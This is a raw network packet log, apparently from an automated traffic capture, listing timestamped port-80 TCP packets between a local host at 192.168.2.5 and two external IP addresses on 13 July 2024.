Jul 13, 2024 07:07:05.558763981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558779955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558811903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558825016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558845043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558852911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558877945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558893919 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558912992 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558922052 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558945894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558954954 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.558980942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.558991909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.559021950 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.559025049 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.559067965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.571118116 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571190119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571193933 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571225882 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571259975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571295977 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571307898 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571307898 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571360111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571383953 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571511030 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571547985 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571566105 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571589947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571623087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571655989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571662903 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571662903 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571688890 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.571722984 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.571722984 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.572370052 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.572427988 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.572662115 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.572941065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.608150959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608175039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608191967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608211040 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608243942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608249903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608249903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608262062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608278036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608280897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608294964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608300924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608314037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608318090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608338118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608352900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608383894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608400106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608416080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608422995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608433008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608441114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608449936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608449936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608479023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608500957 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608578920 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608683109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608828068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608844042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608859062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608875036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608885050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608891964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608908892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608912945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608925104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608925104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.608948946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.608966112 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645447016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645678997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645772934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645797014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645812988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645819902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645829916 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645838022 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645858049 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645859957 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645874977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645886898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645900965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645906925 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645917892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.645941973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645975113 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.645986080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646008968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646015882 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646043062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646049023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646076918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646081924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646116972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646117926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646157980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646171093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646205902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646214008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646239996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646245003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646274090 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646279097 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646315098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646332026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646365881 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646375895 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646406889 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646416903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646450996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646467924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646483898 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646496058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646518946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646522999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646552086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646558046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646585941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646590948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646620035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646625042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646653891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646657944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646687984 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646693945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646722078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646727085 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646754980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646766901 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646806955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646842003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646842957 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646857023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646878958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646889925 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646912098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646924973 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646946907 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646951914 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.646981955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.646986008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647017956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647022963 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647052050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647057056 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647087097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647094965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647125006 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647130013 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647160053 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647173882 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647192955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647201061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647227049 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647236109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647267103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647313118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647351027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647365093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647398949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647407055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647430897 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647464991 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647476912 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647495985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647521019 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647530079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647535086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647563934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647598028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647610903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647631884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647638083 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647667885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647674084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647702932 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647711992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647744894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.647957087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.647988081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648003101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648021936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648030043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648055077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648065090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648089886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648098946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648125887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648132086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648164988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648173094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648199081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648211002 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648240089 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648248911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648277044 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648283958 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648315907 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648560047 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648592949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648632050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648644924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648665905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648672104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648700953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648705959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648734093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648747921 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648767948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648799896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648811102 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648833990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648843050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648866892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648876905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648900986 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648906946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648933887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648941040 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.648967981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.648976088 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649003029 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649008036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649036884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649044037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649070978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649075985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649106026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649111032 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649142981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649148941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649185896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649293900 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649328947 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649339914 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649358034 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.649372101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.649396896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.654217958 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654267073 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654303074 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654335022 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654356956 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.654392958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.654393911 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.654397964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654433012 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654467106 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.654483080 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.654483080 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.654639959 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.659786940 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659838915 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659873009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659885883 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.659885883 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.659904957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659929037 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.659939051 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659971952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.659981012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.659981012 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660007000 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660043001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660048008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660048008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660085917 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660674095 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660706997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660758018 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660759926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660793066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660825968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.660841942 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660875082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.660875082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.661387920 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.661439896 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.661473036 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.661508083 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.661521912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.661521912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.661541939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.661746025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.662017107 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.662240028 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.662290096 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.682234049 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682301998 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682337999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682363033 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682398081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682404995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682435036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682467937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682473898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682503939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682538033 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682565928 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682573080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682581902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682606936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682642937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.682653904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.682689905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.698944092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699012041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699034929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699079990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699090958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699129105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699136019 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699162960 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699177027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699198961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699214935 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699234009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699239016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699268103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699274063 CEST	58982	80	192.168.2.5	77.91.77.81
